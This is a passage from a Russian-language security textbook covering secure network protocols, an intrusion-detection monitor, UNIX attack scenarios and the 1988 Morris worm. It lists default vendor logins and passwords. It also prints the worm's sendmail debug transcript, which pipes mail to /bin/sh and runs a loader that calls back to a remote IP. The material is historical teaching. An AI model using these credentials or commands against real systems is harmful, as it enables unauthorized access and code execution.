созданы различные защищенные сетевые протоколы, использующие криптографию
как с закрытым, так и с открытым ключом. Классическая криптография с
симметричными криптоалгоритмами предполагает наличие у передающей и
принимающей стороны симметричных (одинаковых) ключей для шифрования и
дешифрирования сообщений. Эти ключи предполагается распределить заранее
между конечным числом абонентов, что в криптографии называется стандартной
проблемой статического распределения ключей. Очевидно, что применение
классической криптографии с симметричными ключами возможно лишь на
ограниченном множестве объектов. В сети Internet для всех ее пользователей
решить проблему статического распределения ключей, очевидно, не
представляется возможным.
Однако одним из первых защищенных протоколов обмена в Internet был
протокол Kerberos, основанный именно на статическом распределении ключей
для конечного числа абонентов. Таким же путем, используя классическую
симметричную криптографию, вынуждены идти наши спецслужбы, разрабатывающие
свои защищенные криптопротоколы для сети Internet. Это объясняется тем,
что почему-то до сих пор нет гостированного криптоалгоритма с открытым
ключом. Везде в мире подобные стандарты шифрования давно приняты и
сертифицированы, а мы, видимо, опять идем другим путем!
Итак, понятно, что для того, чтобы дать возможность защититься всему
множеству пользователей сети Internet, а не ограниченному его
подмножеству, необходимо использовать динамически вырабатываемые в
процессе создания виртуального соединения ключи при использовании
криптографии с открытым ключом (п. 6.2 и подробно в [11]). Далее мы
рассмотрим основные на сегодняшний день подходы и протоколы,
обеспечивающие защиту соединения.
SKIP (Secure Key Internet Protocol)-технологией называется стандарт
инкапсуляции IP-пакетов, позволяющий в существующем стандарте IPv4 на
сетевом уровне обеспечить защиту соединения и передаваемых по нему данных.
Это достигается следующим образом:
SKIP-пакет представляет собой обычный IP-пакет, поле данных которого
представляет из себя SKIP-заголовок определенного спецификацией формата и
криптограмму (зашифрованные данные).
Такая структура SKIP-пакета позволяет беспрепятственно направлять его
любому хосту в сети Internet (межсетевая адресация происходит по обычному
IP-заголовку в SKIP-пакете). Конечный получатель SKIP-пакета по заранее
определенному разработчиками алгоритму расшифровывает криптограмму и
формирует обычный TCP- или UDP-пакет, который и передает соответствующему
обычному модулю (TCP или UDP) ядра операционной системы. В принципе, ничто
не мешает разработчику формировать по данной схеме свой оригинальный
заголовок, отличный от SKIP-заголовка.
S-HTTP (Secure HTTP) - это разработанный компанией Enterprise
Integration Technologies (EIT) специально для Web защищенный
HTTP-протокол. Протокол S-HTTP позволяет обеспечить надежную криптозащиту
только HTTP-документов Web-севера и функционирует на прикладном уровне
модели OSI. Эта особенность протокола S-HTTP делает его абсолютно
специализированным средством защиты соединения, и, как следствие,
невозможное его применение для защиты всех остальных прикладных протоколов
(FTP, TELNET, SMTP и др.). Кроме того, ни один из существующих на
сегодняшний день основных Web-броузеров (ни Netscape Navigator 3.0, ни
Microsoft Explorer 3.0) не поддерживают данный протокол.
SSL (Secure Socket Layer) - разработка компании Netscape -
универсальный протокол защиты соединения, функционирующий на сеансовом
уровне OSI. Этот протокол, использующий криптографию с открытым ключом, на
сегодняшний день, по нашему мнению, является единственным универсальным
средством, позволяющим динамически защитить любое соединение с
использованием любого прикладного протокола (DNS, FTP, TELNET, SMTP и т.
д.). Это связано с тем, что SSL, в отличие от S-HTTP, функционирует на
промежуточном сеансовом уровне OSI (между транспортным - TCP, UDP, - и
прикладным - FTP, TELNET и т. д.). При этом процесс создания виртуального
SSL-соединения происходит по схеме Диффи и Хеллмана (п. 6.2), которая
позволяет выработать криптостойкий сеансовый ключ, используемый в
дальнейшем абонентами SSL-соединения для шифрования передаваемых
сообщений. Протокол SSL сегодня уже практически оформился в качестве
официального стандарта защиты для HTTP-соединений, то есть для защиты
Web-серверов. Его поддерживают, естественно, Netscape Navigator 3.0 и, как
ни странно, Microsoft Explorer 3.0 (вспомним ту ожесточенную войну
броузеров между компаниями Netscape и Microsoft). Конечно, для
установления SSL-соединения с Web-сервером еще необходимо и наличие
Web-сервера, поддерживающего SSL. Такие версии Web-серверов уже существуют
(SSL-Apachе, например). В заключении разговора о протоколе SSL нельзя не
отметить следующий факт:
законами США до недавнего времени был запрещен экспорт криптосистем с
длиной ключа более 40 бит (недавно он был увеличен до 56 бит). Поэтому в
существующих версиях броузеров используются именно 40-битные ключи.
Криптоаналитиками путем экспериментов было выяснено, что в имеющейся
версии протокола SSL шифрование с использованием 40-битного ключа не
является надежной защитой для передаваемых по сети сообщений, так как
путем простого перебора (240 комбинаций) этот ключ подбирается за время от
1,5 (на суперЭВМ Silicon Graphics)
до 7 суток (в процессе вычислений использовалось 120 рабочих станций и
несколько мини ЭВМ).
Итак, очевидно, что повсеместное применение этих защищенных протоколов
обмена, особенно SSL (конечно, с длиной ключа более 40 бит), поставит
надежный барьер на пути всевозможных удаленных атак и серьезно усложнит
жизнь кракеров всего мира. Однако весь трагизм сегодняшней ситуации с
обеспечением безопасности в Internet состоит в том, что пока ни один из
существующих криптопротоколов (а их уже немало) не оформился в качестве
единого стандарта защиты соединения, который поддерживался бы всеми
производителями сетевых ОС! Протокол SSL, из имеющихся на сегодня,
подходит на эту роль наилучшим образом.
Если бы его поддерживали все сетевые ОС, то не потребовалось бы
создание специальных прикладных SSL-совместимых серверов (DNS, FTP,
TELNET, WWW и др.). Если не договориться о принятии единого стандарта на
защищенный протокол сеансового уровня, то тогда потребуется принятие
многих стандартов на защиту каждой отдельной прикладной службы. Например,
уже разработан экспериментальный, никем не поддерживаемый протокол Secure
DNS. Также существуют экспериментальные SSL-совместимые Secure FTP- и
TELNET-серверы. Но все это без принятия единого поддерживаемого всеми
производителями стандарта на защищенный протокол не имеет абсолютно
никакого смысла. А на сегодняшний день производители сетевых ОС не могут
договориться о единой позиции на эту тему и, тем самым, перекладывают
решение этих проблем непосредственно на пользователей Internet и
предлагают им решать свои проблемы с информационной безопасностью так, как
тем заблагорассудится!
7.2.2.2. Сетевой монитор безопасности IP Alert-1 Практические и
теоретические изыскания авторов, по направлению, связанному с
исследованием безопасности распределенных ВС, в том числе и сети Internet
(два полярных направления исследования: нарушение и обеспечение
информационной безопасности), навели на следующую мысль: в сети Internet,
как и в других сетях (например, Novell NetWare, Windows NT), ощущается
серьезная нехватка программного средства защиты, осуществляющего
комплексный контроль (мониторинг) на канальном уровне за всем потоком
передаваемой по сети информации с целью обнаружения всех типов удаленных
воздействий, описанных в 4 главе. Исследование рынка программного
обеспечения сетевых средств защиты для Internet выявило тот факт, что
подобных комплексных средств обнаружения удаленных воздействий по нашим
сведениям не существует, а те, что имеются, предназначены для обнаружения
воздействий одного конкретного типа (например, ICMP Redirect (п. 4.4) или
ARP (п. 4.2)). Поэтому и была начата разработка средства контроля сегмента
IP-сети, предназначенного для использования в сети Internet и получившее
следующее название: сетевой монитор безопасности IP Alert-1. Основная
задача этого средства, программно анализирующего сетевой трафик в канале
передачи, состоит не в отражении осуществляемых по каналу связи удаленных
атак, а в их обнаружении, протоколировании (ведении файла аудита с
протоколированием в удобной для последующего визуального анализа форме
всех событий, связанных с удаленными атаками на данный сегмент сети) и
незамедлительным сигнализировании администратору безопасности в случае
обнаружения удаленной атаки. Основной задачей сетевого монитора
безопасности IP Alert-1 является осуществление контроля за безопасностью
соответствующего сегмента сети Internet.
Сетевой монитор безопасности IP Alert-1 обладает следующими
функциональными возможностями и позволяет, путем сетевого анализа,
обнаружить следующие удаленные атаки на контролируемый им сегмент сети
Internet.
Функциональные возможности сетевого монитора безопасности IP Alert-1
1. Контроль за соответствием IP- и Ethernet-адресов в пакетах,
передаваемых хостами, находящимися внутри контролируемого сегмента сети.
На хосте IP Alert-1 администратор безопасности создает статическую
ARP-таблицу, куда заносит сведения о соответствующих IP- и
Ethernet-адресах хостов, находящихся внутри контролируемого сегмента сети.
Данная функция позволяет обнаружить несанкционированное изменение
IP-адреса или его подмену (IP Spoofing).
2. Контроль за корректным использованием механизма удаленного
ARP-поиска.
Эта функция позволяет, используя статическую ARP-таблицу, определить
удаленную атаку Ложный ARP-сервер (п. 4.2).
3. Контроль за корректным использованием механизма удаленного
DNS-поиска.
Эта функция позволяет определить все возможные виды удаленных атак на
службу DNS (атаки в п. 4.3. 1- 4.3.3).
4. Контроль на наличие ICMP Redirect сообщения.
Данная функция оповещает об обнаружении ICMP Redirect сообщения и
соответствующей удаленной атаки, описанной в п. 4.4 5. Контроль за
корректностью попыток удаленного подключения путем анализа передаваемых
запросов.
Эта функция позволяет обнаружить, во-первых, попытку исследования
закона изменения начального значения идентификатора TCP-соединения - ISN
(п. 4.5.1), во-вторых, удаленную атаку отказ в обслуживании ,
осуществляемую путем переполнения очереди запросов на подключение (п.
4.6), и, в-третьих, направленный шторм ложных запросов на подключение (как
TCP, так и UDP), приводящий также к отказу в обслуживании (п. 4.6).
Таким образом, сетевой монитор безопасности IP Alert-1 позволяет
обнаружить, оповестить и запротоколировать все виды удаленных атак,
описанных в 4 главе! При этом данная программа никоим образом не является
конкурентом системам Firewall. IP Alert-1, используя описанные и
систематизированные в 4 главе особенности удаленных атак на сеть Internet,
служит необходимым дополнением - кстати, несравнимо более дешевым, - к
системам Firewall. Без монитора безопасности большинство попыток
осуществления удаленных атак на ваш сегмент сети останется скрыто от ваших
глаз. Ни один из известных авторам файрволов не занимается подобным
интеллектуальным анализом проходящих по сети сообщений на предмет
выявления различного рода удаленных атак, ограничиваясь, в лучшем случае,
ведением журнала, в который заносятся сведения о попытках подбора паролей
для TELNET и FTP, о сканировании портов и о сканировании сети с
использованием знаменитой программы удаленного поиска известных
уязвимостей сетевых ОС - SATAN (п.
8.9.1). Поэтому, если администратор IP-сети не желает оставаться
безучастным и довольствоваться ролью простого статиста при удаленных
атаках на его сеть, то ему желательно использовать сетевой монитор
безопасности IP Alert-1. Кстати, напомним, что Цутому Шимомура смог
запротоколировать атаку Кевина Митника (п. 4.5.2), во многом, видимо,
благодаря программе tcpdump - простейшему анализатору IP-трафика.
Рис. 7.2. Сетевой монитор безопасности IP Alert-1.
8. Удаленные атаки на телекоммуникационные службы
Извечной и зловещей мечтой вирусов является
абсолютное мировое господство, и, как ни ужасны
методы, коими они в настоящее время пользуются,
им нельзя отказать в настойчивости,
изобретательности и способности
к самопожертвованию во имя великой цели.
А.Стругацкий, Б.Стругацкий.
Сказка о тройке.
8.1. Введение
8.2. Направления атак и типовые сценарии их осуществления в ОС UNIX
8.3 Начало, или до червя
8.4. Червь
8.5. После червя
8.6. Современная ситуация
8.7. Причины существования уязвимостей в UNIX-системах
8.8. Как же защитить свой хост
8.9. Средства автоматизированного контроля безопасности
8.1. Введение
Интернет - это сеть UNIX-машин. Такое утверждение оказывается не совсем
справедливым в наше время (когда успех и конкурентоспособность
операционной системы напрямую зависит от того, насколько легко они
интегрируются в Сеть), однако Internet и его прадед - ARPANET возникли
именно из необходимости связать между собой UNIX-компьютеры, которые были
самыми распространенными и прогрессивными в то время. UNIX-идеология
наложила свой отпечаток и на все основные сетевые протоколы, которые,
казалось бы, должны быть операционно-независимыми.
Поэтому большинством всех проблем, которые возникают сегодня в Сети, -
и особенно проблемами безопасности - мы должны быть благодарны UNIX. Мы ни
в коем случае не хотим принизить значение принципов его построения для
развития операционных систем, но общеизвестно, что у UNIX в ее
классическом варианте слишком много проблем с безопасностью, причем эти
проблемы настолько глубоки, что корректное и надежное их искоренение
приведет к перерождению UNIX как таковой - это будет новая операционная
система.
Много пролито слез по этому поводу: Ах, если бы разработчики UNIX
уделили больше внимания безопасности , - но не следует забывать, что все
концепции UNIX прорабатывались в конце 60-х годов, когда еще практически
не было никакой теории компьютерной безопасности, а раз работчики и вовсе
делали ее под себя , не подозревая, насколько через несколько лет
компьютерный мир станет теснее (появятся сети) и опаснее (появятся
кракеры).
Поэтому естественно, что современные операционные системы (Novell
Netware, Windows NT)
оказываются в заведомо более выгодном положении - они разрабатывались,
во-первых, с учетом ошибок UNIX, а во-вторых, они придерживаются четкой
концепции клиент-сервер (не будем сейчас дискутировать об ее достоинствах
и недостатках).
Однако теория безопасности гласит, что безопасность системы
определяется безопасностью ее слабейшего звена, и поэтому далее мы будем
рассматривать безопасность интернета именно как безопасность UNIX-систем,
которых и на сегодняшней день в интернете, видимо, 70- 80%. Это не
означает, кстати, что остальные 20- 30% хорошо защищены и атаки на них
невозможны - просто эти системы на сегодняшний день гораздо меньше
изучены, и совсем не исключено, что в них найдутся такие же серьезные
бреши в безопасности, как в UNIX, особенно учитывая, что и фирма Novell, и
Microsoft далеко не безгрешны в этом отношении [9, 15].
Более того, самые последние события конца 1996 - начала 1997 года
позволяют предположить, что не UNIX-совместимые ОС, несмотря на печальный
опыт своей предшественницы, начинают проходить тот же самый путь и
совершать те же самые ошибки в обеспечении безопасности (на другом витке
спирали, естественно). Так уже несбыточная сегодня мечта всех кракеров
удаленно утянуть файл /etc/passwd оказывается вполне реальной даже в такой
более-менее защищенной ОС, как Windows NT (см. п.
8.6.5)
8.2. Направления атак и типовые сценарии их осуществления в ОС UNIX
В этом разделе мы рассмотрим второй подвид атак, осуществляемых в сети
- атаки на телекоммуникационные службы удаленных компьютеров. Эти
компьютеры могут находиться на другом континенте или быть в соседней с
вами комнате - это никак не может быть вами замечено, кроме, может быть,
скорости ответа на ваши запросы.
Итак, какие же цели преследует кракер, атакующий извне ваш компьютер?
Видимо, их может быть несколько:
получить доступ к важной информации, хранящейся у вас. О, вероятно, вы
крупная компьютерная шишка и за вами серьезно охотятся (если, только
конечно, этой информацией не является несколько гигабайт gif'ов высокого
разрешения); получить доступ к ресурсам вашей системы. Это может быть как
процессорное время (особенно если вы обладаете суперкомпьютером), так и
дисковое пространство (например, для организации пиратского ftp-сайта
(site). В этом случае вы не только ничего не потеряете, но и, может быть,
приобретете честно сворованное программное обеспечение стоимостью много
тысяч долларов); иметь плацдарм для осуществления цели 1), но для атаки на
другой компьютер - тогда в журналах атакованного компьютера будет
значиться, что атака осуществлялась с вашего адреса. Вы, конечно, будете
доказывать, что вы тут не при чем, и, вероятно, докажете это, но инцидент
принесет вам несколько неприятных минут и несколько неприятных слов об
уровне защиты вашего хоста; как пробный шар, отладка механизмов атак на
другие хосты. Ну, не расстраивайтесь, вы докажете тем самым, что вы не так
уж небесполезны в сети, в отличие от других хостов, на которые никогда
никто не нападал, и которые остро ощущают свою ненужность.
Теперь рассмотрим основные пути получения взлом-щиком
несанкционированного доступа на компьютер.
Как известно, в UNIX различают два вида пользователей - обычный
пользователь, имеющий права на доступ в рамках своего идентификатора (UID,
user id) и членства в группе (GID, group ID) (в UNIX каждый пользователь в
текущий момент может быть членом только одной группы, соответственно, он
имеет один UID и один GID); а также так называемый суперпользователь
(root), имеющий неограниченные права (UID и GID у него равны специальному
значению 0). По мере развития среди обычных пользователей выделились так
называемые специальные пользователи. Они обычно имеют зарезервированные
имена (например, guest, bin, uucp и т.п.) и номера UID и GID (например,
они всегда меньшие 100). Хотя нет никакого особого механизма в защите
UNIX, отличающего специального пользователя от обычного можно сказать, что
первый имеет еще меньшие права, чем второй. В частности, специальным
пользователям обычно нельзя зайти в систему нормальным образом. Самым
интересным для нас примером специального пользователя является анонимный
пользователь ftp, который так и называется - anonymous или ftp.
Наконец, условно к категории пользователей можно отнести человека,
удаленно подключившегося (обычно по протоколу TELNET) к вашей машине и
взаимодействующего с одной из программ-демонов (в современной терминологии
такие программы называются серверами). Эти программы обычно стартуют при
загрузке машины, чаще всего от имени суперпользователя и всегда активны
как процессы. Это позволяет пользователю в любой момент времени удаленно
подключаться к ним, но при этом он не имеет никаких прав на чтение/запись
информации на вашем компьютере, он вообще не идентифицируется системой
UNIX (командой who). Однако он может исполнять некоторые команды - не
программы UNIX, а команды-запросы к тому демону, к которому он подключен.
Так, подключившись по протоколу TELNET на 25 порт, можно вводить команды
SMTP-сервера, например, mail или expn. Последний тип пользователя (назовем
его псевдопользователь)
оказывается чуть ли не самым важным для нашего рассмотрения, т.к., не
обладая никакими правами (и обязанностями тоже, кстати - от него не
требуется аутентификация, учет по нему тоже не ведется), он
взаимодействует с демонами, которые практически всегда имеют полномочия
суперпользователя.
Итак, условно иерархию пользователей на UNIX-машине можно представить
как:
Суперпользователь - неограниченные права.
Обычный пользователь - права, ограниченные ему суперпользователем.
Специальный пользователь - права, ограниченные ему суперпользователем
для работы с конкретным приложением.
Псевдопользователь - нет никаких прав, он вообще не идентифицируется
системой.
Очевидно, что любой пользователь интернета всегда имеет привилегии
уровня 3 на вашем хосте, а также, если поддерживается соответствующий
сервис, привилегии уровня 2.
Таким образом, задачей хакера будет являться несанкционированное
получение привилегий более высокого уровня. (Заметим, кстати, что вовсе
необязательно конечной целой хакера является получение именно привилегий
суперпользователя - вирус Морриса, например, даже и не пытался сделать
этого.) Эту задачу он, очевидно, может попытаться решить различными
путями: либо получить сразу требуемые привилегии, либо постепенно
наращивать их. Рассмотрим далее типовые сценарии их получения и средства
UNIX, делающие их возможными.
1. Сразу в дамки - имея привилегии уровня 3, хакер получает права
суперпользователя.
Как уже отмечалось, такой фантастический прыжок возможен благодаря
механизму демонов UNIX, отвечающих за обработку удаленных запросов. Т. к.
эти демоны выполняются от имени суперпользователя, то все, что надо
сделать псевдопользователю - это знать (существующие или най-ти самому)
дыры или ошибки в этих демонах, которые позволят эксплуатировать их
нестандартным или запрещенным образом. Обычно это сводится к возможности
удаленно выполнить от их имени любую команду на атакуемом хосте - какую
конкретно, зависит от намерений и характера хакера. Иногда это может быть
создание ошибочной ситуации, приводящей к аварийному завершению демона с
выдачей дампа памяти на диск, содержащий весьма полезную для хакера
информацию (например, кэшированные пароли). Типичными примерами уязвимых
демонов были и остаются sendmail, ftpd, fingerd. Новые демоны (типа httpd
или talkd) имеют гораздо меньшую историю эксплуатации, соответственно,
известно меньшее число их дыр и, соответственно, тем перспективнее они для
поиска новых.
Такой сценарий был очень популярен на заре развития глобальных сетей,
им пользовался вирус Морриса (см. п. 8.4.1.1). Сейчас найти дыру такого
рода в демонах очень трудно, но можно, о чем свидетельствует п.8.6.2.
Хосты, допускающие атаку по этому сценарию, должны считаться
катастрофически незащищенными.
2. Из специального - в обычного или выше .
Этот сценарий очень похож на описанный выше, с тем исключением, что для
хакера требуются начальные привилегии уровня 2 (иначе говоря, запущен
некоторый дополнительный сервис). Чтобы четко отличать эти атаки от
предыдущего типа, будем требовать, что в этом случае злоумышленник всегда
проходит некую (пусть примитивную)
идентификацию и, возможно, аутентификацию. Это не очень серьезное
допущение, большинство хостов поддерживают некоторый удобный (например,
анонимный ftp) или необходимый сервис (типа tftp для удаленной загрузки
бездисковых станций).
Привилегии уровня 2 могут дать возможность хакеру читать некоторые
файлы (например, из ~ftp/pub), и, что самое главное, записывать свои файлы
на ваш компьютер (в каталог типа ~ftp/incoming). С другой стороны, т. к.
Пользователь регистрируется на вашем компьютере, в его файлах-протоколах
остается некоторая информация о подключении.
Типичным примером атаки по данному сценарию является атака, которая по
протоколу tftp получает файл паролей /etc/passwd, и затем с его помощью
подбираются пароли пользователей. Этот пример показывает, что
необязательно желаемые привилегии будут получены немедленно, подобные
атаки могут лишь создать предпосылки для их возможного получения в
дальнейшем.
Хосты, допускающие подобные атаки, также должны считаться
катастрофически незащищенными в случае, если используемый в них сервис
нельзя отключить без ущерба функционированию системы.
3. Маловато будет: из обычного - в суперпользователи . Этот сценарий,
пожалуй, наиболее прост, широко распространен и подавляющее большинство
сообщений о так назваемых дырах в UNIX относится именно к нему. Для его
осуществления злоумышленник должен уже быть обычным пользователем (иногда
говорят, что он имеет бюджет (account)) на том компьютере, который он
собирается взламывать. Это, с одной стороны, серьезное ограничение на
масштабность проникновения, с другой стороны, большинство утечек
информации происходит через своих , через подкупленного сотрудника,
который пусть и не имеет больших полномо-чий, но уж входное имя на
секретный компьютер у него будет.
Своей осуществимостью атаки данного рода обязаны очередному недостатку
безопасности UNIX, который называется механизм SUID/SGID-процессов.
Не будем сейчас подробно останавливаться на необходимости и причинах
появления такого механизма в этой операционной системе, отметим лишь, что
многим системным программам (которые могут быть запущены любым, в том
числе и непривилегированным пользователем) для правильного
функционирования необходимы дополнительный полномочия. Приведем
хрестоматийный пример: изменения пользователем пароля самому себе. Не
вызывает сомнения, что пользователь может иметь право на подобную
операцию, однако в терминах UNIX это равносильно наличию права на запись в
общий для всех пользователей файл /etc/passwd, что, очевидно, недопустимо.
Поэтому программа, осуществляющая смену пароля пользователя, выполняется
не от имени запустившего его пользователя, а от имени суперпользователя
(который, естественно, имеет право на запись в файл /etc/passwd). Для
этого она обладает специальным атрибутом SUID/SGID, означающего смену
идентификатора пользователя и/или группы у запущенного процесса.
Эта, безусловно нарушающая исходную модель разграничения доступа,
особенность UNIX была бы нехо-рошей , будь она всего у одной программы
passwd. Однако оказывается, что этот атрибут необходим целому множеству
программ, порой очень сложных. Отсюда ясно, что злоумышленник, найдя
ошибку в одной из программ, обладающей атрибутом SUID root, может от ее
(т. е.
суперпользователя) имени произвести некоторые действия. Стандартным
приемом считается копирование файла с командным интерпретатором (sh или
csh) и установка на него атрибута SUID root.
Таким образом, злоумышленник имеет под рукой стандартную программу sh,
но все команды в ней он исполняет от имени суперпользователя.
Ошибки в SUID/SGID-программах находятся регулярно, с частотой несколько
раз в месяц.
Следуя одной из основных аксиом программирования, можно сделать вывод,
что эти ошибки будут находиться всегда. Соответственно, многие защищенные
версии UNIX стремятся обезопасить себя от атак такого рода, сильно
модифицировав или вообще уйдя от SUID/SGID-механизма.
Внимательный читатель заметил, что этот сценарий, вообще говоря, не
является удаленной атакой по определению (и не будет подробно
рассматриваться в примерах), но введен в классификацию из-за своей
масштабности и фундаментальности причины - механизма SUID/SGID-процессов.
Поскольку любая система UNIX (использующая этот механизм) является
уязвимой, то хосты, которые подвержены атакам такого класса, будем
называть потенциально незащищенными.
4. Он слишком многим доверял . Взлом производит обычно
псевдопользователь, повышая свои полномочия до обычного, с использованием
механизма доверия. Термин доверие , также оказывающийся одной из важнейших
брешей в безопасности UNIX, пришел из тех далеких времен, когда
компьютерные системы хотели доверять друг другу. Доверие употребляется
всякий раз, когда возникает ситуация, в которой хост может позволить
пользователю (как правило удаленному)
использовать локальные ресурсы без аутентификации (ввода пароля).
В UNIX существует много подсистем, использующих доверие. Наиболее
простой и часто применяемой(даже против такого мастера, как Шимомура) из
них являются так называемые r-службы (remote, "удаленные"). При наличии
файлов .rhosts и hosts.equiv, содержащих имена хостов, доступ с них
возможен без указания пароля. Аналогично построены на механизме доверия,
например, NFS-сервера, в управляющих (export) файлах которых можно
разрешить доступ к некоторому каталогу для группы пользователей, в том
числе и всем (everyone).
Как подчеркивал В. Венема в своей статье [16], любая форма доверия
может быть подменена, обманута или разрушена, особенно когда служба,
получающая запросы на проверку клиента, расположена вне сервера, или когда
механизм доверия основан на слабой форме аутентификации .
Обычно доступ к системе по данному сценарию возможен только при
неправильных настройках соответствующих файлов (не будем сейчас
подчеркивать, что эти настройки также могут быть внесены злоумышленником
сознательно - см. атаку Митника в п. 4.5.2), поэтому хосты, подверженные
атакам этого класса, будем называть слишком доверчивыми или
административно незащищенными.
Итак, подводя итог, повторим те механизмы и особенности UNIX, которые
делают возможным удаленные атаки на телекоммуникационные службы.
Это, в первую очередь, механизм SUID/SGID-процессов, относительно легко
позволяющий обычному пользователю получить привилегии другого пользователя
или группы. Во-вто-рых, это наличие демонов (в современных ОС они
называются серверными программами), обеспечивающих обработку удаленных
запросов.
Поскольку они обычно запускаются от имени суперпользователя, то при
неправильном функционировании его права могут быть полу-чены удаленным
пользователем. Наконец, это широкое использование механизма доверия,
который может быть обманут удаленным пользователем.
В следующих разделах мы опишем в хронологическом порядке наиболее
интересные или известные способы проникновения в UNIX-системы.
8.3 Начало, или до червя
Вначале был хаос и анархия. Интернет только зарождался, глобальных
сетей практически не было, базовые протоколы TCP/IP только появлялись и
стандартизовались, аналогично в самом начале развития были все
UNIX-службы, программы еще были сырыми и не отлаженными. Причем этот
процесс развития происходил стихийно, независимо в разных местах, на
разных версиях UNIX, потом наиболее удачные начинания распространялись,
сталкивались со своими конкурентами, переделывались и т. д. Весь этот
процесс стандартизации сопровождался неизбежными компромиссами, особенно в
системе безопасности, т. к. основными принципами UNIX всегда являлись
простота, гибкость и переносимость - а они часто противоречат безопасности.
Нынешние кракеры, наверно, кусают себе локти, что они родились не на 10
лет раньше - ведь в то время хакером мог прослыть тот, кто умел методично
перебирать адреса компьютеров и вводить в качестве имени и пароля
что-нибудь типа guest/guest [17]. Видимо, большинство хостов (в том числе
и военные - в то время возможность проникновения в секретные хосты еще не
являлась мифом) и вскрывались таким образом. Были известны стандартные
входные имена, присутствующие в операционной системе при ее инсталляции
(см.
табл. 8.1).
Особо продвинутые кракеры, наверное, догадывались вводить в качестве
паролей наиболее распространенные имена, жаргонные словечки и т. п.
Интересно заметить, что большинство средств защиты многих современных
ОС наиболее успешно борется именно с таким примитивным классом атак,
называя это громкими словами обнаружение нарушителей (intruder detection)
и т. п. В ОС обычно принята задержка в несколько секунд после набора
неправильного пароля, а также ограничение максимального числа неправильно
набранных паролей подряд. Эти меры не позволяют взломщику удаленно
перебирать быстро пароли (естественно, что сегодня, если хакер и будет
заниматься перебором, то не в реальном времени). Но, видимо, в те далекие
годы не было даже таких мер.
Таблица 4.13
Уязвимые операционные системы
ОС
Имя(login)
Пароль
AIX
guest guest
AS/400
qsecofr qsecofr
qsysopr qsysopr
qpgmr qpgmr
System 75 bcim bcimpw
blue bluepw
browse looker, browsepw
tech field
Taco Bell rgm rollout
tacobell пусто
VMS
field service
systest utep
8.4. Червь
В этом разделе мы перейдем к подробному рассмотрению не только самого
известного случая нарушения безопасности Сети, но и самого крупного
инцидента в области компьютерной безопасности вообще - вируса Морриса
(Internet worm).
Более того, он представлял собой не просто единичное вторжение в
некоторый компьютер, а дал ответ на давний вопрос, могут ли не в
абстрактных условиях существовать саморепродуцирующиеся программы (то, что
теоретически это возможно, признавалось почти всеми). А подтвердив
возможность создания такой программы, этот инцидент дал толчок к появлению
целой отрасли компьютерной безопасности- компьютерной вирусологии (к тому
времени уже существовали единичные вирусы и на персональных компьютерах -
саморепродуцирующиеся в пределах одного компьютера).
Остается открытым (исходя, как мы увидим в дальнейшем, из существования
схожих проблем безопасности UNIX и в наши дни) вопрос, почему же по сей
день известен только один пример сетевого червя. Видимо, дело в том, что в
странах с развитой компьютерной и сетевой инфраструктурой на сегодняшний
день действует (во многом, кстати, вследствие вируса Морриса) очень
жесткое законодательство против компьютерных преступлений такого рода (тем
более, что написание червя не приносит никакой материальной выгоды -
только сомнительную известность), а в странах, где подобные законы
отсутствуют, отсутствует также и доступ широких кракерских масс к
глобальным компьютерным сетям.
Отсюда можно сделать вывод, что в ближайшем будущем, когда
распространенность сетей достигнет необходимого уровня, нас ждут примеры
новых сетевых червей, сделанных хакерами этих стран, и Россия здесь может
занять одно из первых мест, учитывая, что за последние годы именно она
давала наибольший процент мировых компьютерных вирусов.
К 1988 году интернет как глобальная сеть уже практически сформировался,
и практически все услуги сегодняшнего дня (кроме WWW) использовались и
тогда. С другой стороны, в хакерских и околохакерских кругах скопилось
достаточно информации о брешах в системах безопасности и способах
несанкционированного проникновения в удаленные компьютеры. Критическая
масса была накоплена, и она не могла не взорваться.
Итак, в начале ноября 1988 г. Сеть была атакована так называемым
сетевым червем, впоследствии получившим в русскоязычной литературе
название вирус Морриса по имени его создателя - студента Корнельского
университета Роберта Морриса-младшего. Сетевым червем называют
разновидность компьютерных вирусов, имеющих способность к
самораспространению в локальной или глобальной компьютерной сети. Для
этого червь должен обладать несколькими специфическими процедурами:
нахождения новых целей для атаки; собственно проникновения в них;
передачи своего кода на удаленную машину; запуска (получения управления)
на ней; проверки на зараженность локальной или удаленной машины для ее
повторного незаражения.
Правовые вопросы и последствия запуска червя рассматривались в главе 1,
а теперь мы опишем подробно структуру, механизмы и алгоритмы, им
применяемые. Было решено свободно распространять их, в отличие от исходных
текстов, полученных в результате дизассемблирования.
Однако по истечении 9 лет такое ограничение потеряло свою актуальность
(воспользоваться сегодня ими все равно не удастся), и они могут быть
найдены в интернете. Большинство материала этого раздела взято из [18, 19].
8.4.1. Стратегии, используемые вирусом
Для проникновения в компьютеры вирус использовал как алгоритмы подбора
пароля (это подробнее будет описано в п. 8.4.4), так и дыры в различных
коммуникационных программах, которые позволяли ему получать доступ без
предъявления пароля. Рассмотрим подробнее эти дыры .
8.4.1.1. Отладочный режим в программе Sendmail
Вирус использовал функцию debug программы sendmail, которая
устанавливала отладочный режим для текущего сеанса связи. Отладочный режим
обладает некоторыми дополнительными возможностями, такими как возможность
посылать сообщения, снабженные программой-получателем, которая запускается
на удаленной машине и осуществляет прием сообщения. Эта возможность, не
предусмотренная протоколом SMTP, использовалась разработчиками для отладки
программы, и в рабочей версии была оставлена по ошибке. Таким образом,
налицо типичный пример атаки по сценарию 1.
Спецификация программы, которая будет выполняться при получении почты,
содержится в файле псевдонимов (aliases) программы sendmail или в
пользовательском файле .forward. Эта спецификация используется
программами, обрабатывающими или сорти-рующими почту, и не должна
применяться самой программой sendmail. В вирусе эта программа-получатель
содержала команды, убирающие заголовки почты, после чего посылала остаток
сообщения командному интерпретатору, который создавал, компилировал и
выполнял программу на языке Си, служившую абордажным крюком , и та, в свою
очередь, принимала оставшиеся модули из атакующей машины. Вот что
передавал вирус через SMTP-соединение:
debug
mail from: /dev/null
rcpt to: "|sed -e '1,/^$/'d | /bin/sh ; exit 0"
data
cd /usr/tmp
cat x14481910.c 'EOF'
текст программы ll.c
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm
- f x14481910 x14481910.c.
quit
Вирус заражал компьютеры двух типов - VAX и Sun, поэтому пересылались
двоичные коды для той и другой архитектуры, оба запускались, но
исполняться мог только один. В компьютерах других архитектур (не VAX и
Sun) программы не могли функционировать, хотя и поглощали системные
ресурсы в момент компиляции.
8.4.1.2. Ошибка в демоне Fingerd
Другой изъян, также относящийся к типовому сценарию 1, который позволял
вирусу распространяться, находился в программе fingerd.
Данная программа содержала в себе фрагмент кода примерно следующего
вида:
{
